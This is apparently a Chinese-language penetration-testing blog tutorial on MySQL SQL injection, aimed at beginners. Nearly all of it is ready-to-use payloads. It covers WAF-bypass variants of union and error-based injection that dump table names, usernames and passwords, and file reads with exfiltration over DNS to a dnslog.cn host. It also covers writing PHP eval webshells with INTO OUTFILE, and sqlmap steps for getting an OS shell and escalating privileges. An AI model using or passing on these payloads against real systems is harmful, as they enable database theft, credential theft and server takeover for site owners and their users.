其实sql注入已经是很久的问题,网上也有很多师傅和前辈总结的十分细致和详细,现在在谈,无非有点班门弄斧的感觉,但是阿鑫还是想借助这篇文章,系统性的帮助才入门的兄弟们总结一下,测试版本,php=5.6.9 mysql=5.5.29
联合注入(union select)
常见的思路就是order by查看字段数,然后基于union select 查询我们的数据库,从而拿到数据。
基于order by
当我们的order这一个字符串被waf过滤掉,我们可以使用group这一个字符串替代。
基于灵活变通,我们也可以内敛group,大小写等方法
?id=1 /*!50000group*/ by 4--+1
基于union select
当我们知道具体的字段了,先用order by找出数据库,我们就可以用union select出数据了。也拿sql-libs举例
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" //这是我们的payload
一.union select
1.运用%0a绕过(注释换行)
union -- hex()%0a select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
2.基于内敛
(1)/!50000/里面的数字我们可以fuzzing,10000~50000,说不定其他版本的数字就可以
(2)内敛不仅仅可以数字,也可以用中文
union/*", 1 我S "*/select/*", 2 AS "*/1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
3.基于辣鸡数据
and (select 1)=(Select 0xA*10)+UnIoN+SeLeCT+1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
4.基于夹杂其他函数/字符串
(1)夹杂distinct
union distinct select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
ps:我们的distinct可以换为distinctrow。此外,我们的distinct也可以内敛
union /!50000distinct/ select,渗透主要讲究的是变通,各种绕过
(2)利用all
and .1union all(select@1,group_concat(table_name),/*!50000~3*/ from information_schema.tables where table_schema="security")--+
ps:当然,我们的.1也可以编码。
(3)基于join函数
union select *FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN (SeLeCt table_name from information_schema.tables where table_schema="security" limit 1,1)c--+
那么,我们的join也能内敛吗?当然是可以的哦!
(4)基于/N,{},等特殊符号
\Nunion(select 1,group_concat(table_name),\Nfrom information_schema.tables where table_schema="security")--+
union(select@`id`,2,(/*!50000select*/(table_name)from information_schema.tables where table_schema="security" limit 0,1))--+
union%23koo*/*bar%0D%0Aselect%23koo%0D%0A1,group_concat(@b:=`table_name`),3 from information_schema.tables where table_schema rlike "security"--+
%0D是回车,%0A是换行
5.对于参数的污染
uid=1&id=-2 id=-1+div+0 /&id=/ //就不截图了,参数污染配合上述的方法。
二.group_concat
(1)运用concat代替group_concat
concat不过需要配合limit,因为group_concat是一次性全部出完,concat是一次只出一个
ps:当然我们也可以在contact处加上反引号“~”
union select .1,`concat`(table_name),3 from information_schema.tables where table_schema="security" limit 0,1--+
(2)基于夹杂其他函数(concat_ws)
uniOn sEleCt 1,2,group_concat(`concat_ws`('@',table_name)separator '<br>') from information_schema.tables where table_schema="security"--+
当然我们的ws也可以用反引号引用起来。
三.from information_schema.tables = 系统函数
先说from
(1)利用科学计数法绕过
union select 1,group_concat(table_name),3e0from information_schema.tables where table_schema="security"--+
当然也可以内敛,3e0/!50000from/
(2)利用{}
union select 1,group_concat(table_name),3 FROM{x information_schema.tables} where table_schema="security"--+
information_schema.tables
还有上文说的/N
(1)反引号,就是esc底下的那个键,内敛
`information_schema`.`schemata` `information_schema`.schemata information_schema.`schemata ` information_schema/**/.schemata table_name == @b:=`table_name`
=
(1)用like like被过滤还能用rlike,like也可以用内敛
系统函数
user() user() =current_user = user/**/(/**/) = user-- (1)%0a()
version() version() = `version`() = select name_const(version(),1),name_const(version(),1))x
database() database()=(database/*!12345()*/)=convert(database/*!44444(*/),binary)
四.报错注入
细讲updatexml,其他报错方式表哥们可以依葫芦画瓢
1.updatexml
首先还是先说我们的payload
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
(1)关于and,我们可以替换为or xor 也可以编码and = && or = || = | &=%26 还可以用!!!替代空格
(2)关于updatexml
可以加-``这一类特殊符号
id=1 /*!50000%7c*/ -`updatexMl`(1,concat(0x7e,(select database()),0x7e),1)--+
(3)关于concat
加上特殊符号或者替换函数为make_set,ps,除了make_set,我们还有export_set()
?id=1 /*!50000%7c*/!!!/*!14400-`updatexMl`*/(1,/*!12345`maKe_set`*/(3,0x7e,(select database())),1)--+
(4)关于select
其实我们的select可以直接丢掉,就不截图了
id=1 /*!50000%7c*/!!!/*!14400-`updatexMl`*/(1,/*!12345`maKe_set`*/(3,0x7e,(database())),1)--+
(5)其他小tip
关于读取md5,我们一次性读不完,我们可以分片读取
and updatexml(1,concat(0x7e, substr((select md5(password) from users limit 0,1),1,16),0x7e),1)--+
2.关于extractvalue
参照updatexml,在补充一条payload
id=1 LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+ procedure%23koo*/*bar%0D%0Aanalyse%23koo%0D%0A(extractvalue(rand(),concat(0x3a,database())),1)--+
3.关于floor
and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ //查表 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x7573657273 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ //查字段 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 7,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ //报数据 and (select 1 from (select count(*),concat((select (concat(0x7c,MID(LOAD_FILE(0x633A5C626F6F742E696E69),1,63),0x7c)),floor (rand(0)*2))x from
其余如何组合参照updataxml
4.geometrycollection,multipoint,polygon,multipolygon,linestring,multilinestring
and geometrycollection((select * from(select * from(select database())a)b))--+ and geometrycollection((select * from(select * from(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1)a)b))--+ and geometrycollection((select * from(select * from(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1)a)b))--+ and geometrycollection((select * from(select * from(select concat(0x7e, password,0x7e) from users limit 1,1)a)b))--+ 其余的都一样
5.exp
and exp(~(select * from(select database())a))--+ and exp(~(select * from(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 2,1)a))--+ //报表 and exp(~(select * from(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1)a))--+ //报字段 and exp(~(select * from(select concat(0x7e, password,0x7e) from users limit 1,1)a))--+ //爆数据
6.bigint
and(select!x-~0.+from(select(select+group_concat(Version()))x)x) and(select!x-~0.+from(select(select+group_concat(char(60,112,62),table_name)from+information_schema.tables+where+table_schema=database())x)x)--+ //查表 and(select!x-~0.+from(select(select+group_concat(char(60,112,62),column_name)from+information_schema.columns+where+table_name=0x7573657273+AND+table_schema=database())x)x)--+ //查字段 and(select!x-~0.+from(select(select+group_concat(char(60,112,62),username,0x203a20,password)from+security.users)x)x)--+ //出数据
7.double query based
和floor神似
or 1 group by concat_ws(0x7e,database(),floor(rand(0)*2)) having min(0) or 1--+ or 1 group by concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) having min(0) or 1--+ or 1 group by concat(0x7e,(select concat(column_name) from information_schema.columns where table_name=0x7573657273 limit 0,1),floor(rand(0)*2)) having min(0) or 1--+ or 1 group by concat(0x7e,(select concat(0x7e, password,0x7e) from users limit 1,1),floor(rand(0)*2)) having min(0) or 1--+
五.读写文件(前提是你的有读写的权限,sqlmap --privileges)
and (select count(*) from mysql.user)>0 and (select count(file_priv) from mysql.user)>0 //正常回显即有权限
如果secure_file_priv不为null,那么我们可以读写文件
读:
(1)基于sqlmap的--sql-shell
load_file('C:\Users\ASUS\Desktop\axgg.txt')
--file-read= //基于sqlmap的命令
(2)基于联合注入的语法
union select 1,load_file('C:/Users/ASUS/Desktop/axgg.txt'),3--+ union select 1,load_file(0x433A2F55736572732F415355532F4465736B746F702F617867672E747874),3--+
union select 1,load_file(char(99,58,47,98,101,111,116,76,105,114,105)),3--+ union select 1,hex(load_file(0x433A2F55736572732F415355532F4465736B746F702F632E747874)),3--+
(3)基于dns来查看
union select 1,2,load_file (concat('\\\\',hex((select load_file('C:/Users/ASUS/Desktop/axgg.txt'))),'.abg5ee.dnslog.cn\\test'))--+
(4)基于报错
and updatexml(1,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)--+ and extractvalue(1,concat(0x7e,(select (LOAD_FILE('D:/1.php'))),0x7e))--+ and updatexml(1,concat(0x7e,(select substr(load_file("D:/PHPWEB/MySQL Server 5.6/my.ini") from 1 for 32)),1),1)--+ //利用分片读数据 and updatexml(1,concat(0x7e,(isnull(LOAD_FILE('C:/Users/bc/Desktop/xuanxuan.txt'))),0x7e),0) //判断有无文件,0则为有文件,null或者1表示没有
写:
(1)基于sqlmap的--sql-shell
select "<?php @eval($_POST[1]);?>" into outfile "D:\\wwwroot\\axgg\\js\\axgg.php";-- -
ps:前提是该注入支持堆叠
--file-write=本地文件 --file-dest=网站绝对路径
(2)基于联合注入的语法
union select null,null,"<?php @eval($_POST[a]);?>" into outfile "C:/Users/ASUS/Desktop/axgg1.txt"--+ union select null,null,0x3C3F70687020406576616C28245F504F53545B615D293B3F3E into outfile union select null,null,"<?php @eval($_POST[a]);?>" into dumpfile into outfile "C:/Users/bc/Desktop/b1b.txt" fields terminated by 0x3c3f70687020706870696e666f28293b3f3e--+ or '1'='1' limit 0,1 into outfile "C:/Users/ASUS/Desktop/b1b.txt" fields terminated by 0x3c3f70687020706870696e666f28293b3f3e--+ or+1=1+LIMIT+0,1+INTO+OUTFILE+'C:\\xampp\\htdocs\\xxxx\\uploads\\Ww2.php'+LINES+TERMINATED+BY+0x3c3f706870206576616c28245f504f53545b2761275d293b3f3e--+
ps:当然,还可以用lines terminated by,lines starting by这2个函数来替代
如果secure_file_priv为null
读:
利用LOAD DATA LOCAL
drop table mysql.m1 //先删除掉这个表 CREATE TABLE mysql.m1 (code TEXT ); //然后创建 LOAD DATA LOCAL INFILE 'C:/Users/bc/Desktop/xuanxuan.txt' INTO TABLE mysql.m1 fields terminated by '' //读取文件 select * from mysql.m1 //查看文件
写:
不好突破,建议寻找phpmyadmin,或者adminer突破,通过慢日志等方法拿下。
五.联动sqlmap
其实现在基本都是手测有洞,然后放在sqlmap里面跑,但是有些时候手测可以出数据,但是sqlmap跑不出来,这个时候需要合理的运用sqlmap
(1)参数
--random-agent 不管跑什么,加上这个肯定是有用的,测出数据库类型,什么类型得得注入,--dbms,--technique,如果前缀后缀有点特殊,我们还得--prefix "')" --suffix "--('"
(2)空格
有些时候sqlmap会自己编码,把空格编码,就导致payload访问直接404,所以的加一些参数--tamper=space2plus --skip-urlencode,但是有可能还是跑不出来,那可能就得自己改一下tamper了,平时跑不出来,可以用-v 3,查看我们的payload,到底哪里出了问题
(3)关于高权限拿shell
很多情况就是root权限,但是按照常规的方法拿shell总会遇见一些问题,阿鑫在这里稍微总结一下。
知道绝对路径,secure_file_priv不为null
(1)sqlmap --os-shell
(2)--file-write --file-dest= 写文件,写不进去可能是因为这个文件夹我们没有写的权限,换几个文件夹
(3)--sql-shell 支持堆叠的话,select "<?php @eval($_POST[1]);?>" into outfile "D:\axgg\123456.php";-- -
(4)用union select写文件
不知道绝对路径,secure_file_priv不为null
(1)如果是linux的机器,尝试去读httpd,apache等配置文件,运气好的话能读到
(2)读数据库密码,看数据库是否支持外连,如果能连上进一步在navacit进行udf提权会比在sqlmap执行好的多
(3)不支持外连,sqlmap,--sql-shell,select @@plugin_dir;查找plugin的位置,然后用--file-write --file-dest=上传
(4)用sql-shell读取mysql账号密码,如果解的出来,去找子域名,旁站,c段,端口(护卫神的,999),phpmyadmin,adminer,等,找到登录进去结束一半了。
不知道绝对路径,secure_file_priv为null
尝试LOAD DATA LOCAL INFILE能不能读取到,不能读取到看看能不能读取并破解mysql账号密码,能得话可以重复(4)方法,不能的话只能都密码后台操作,对于不熟悉的cms,如果开源,我们可以自己下载搭建,分析一下它的数据库,比如dz的数据库就有authkey,可以构造用户登录。如果后台拿不下的话可以考虑换换思路
就先写这么联合和报错吧,盲注下次写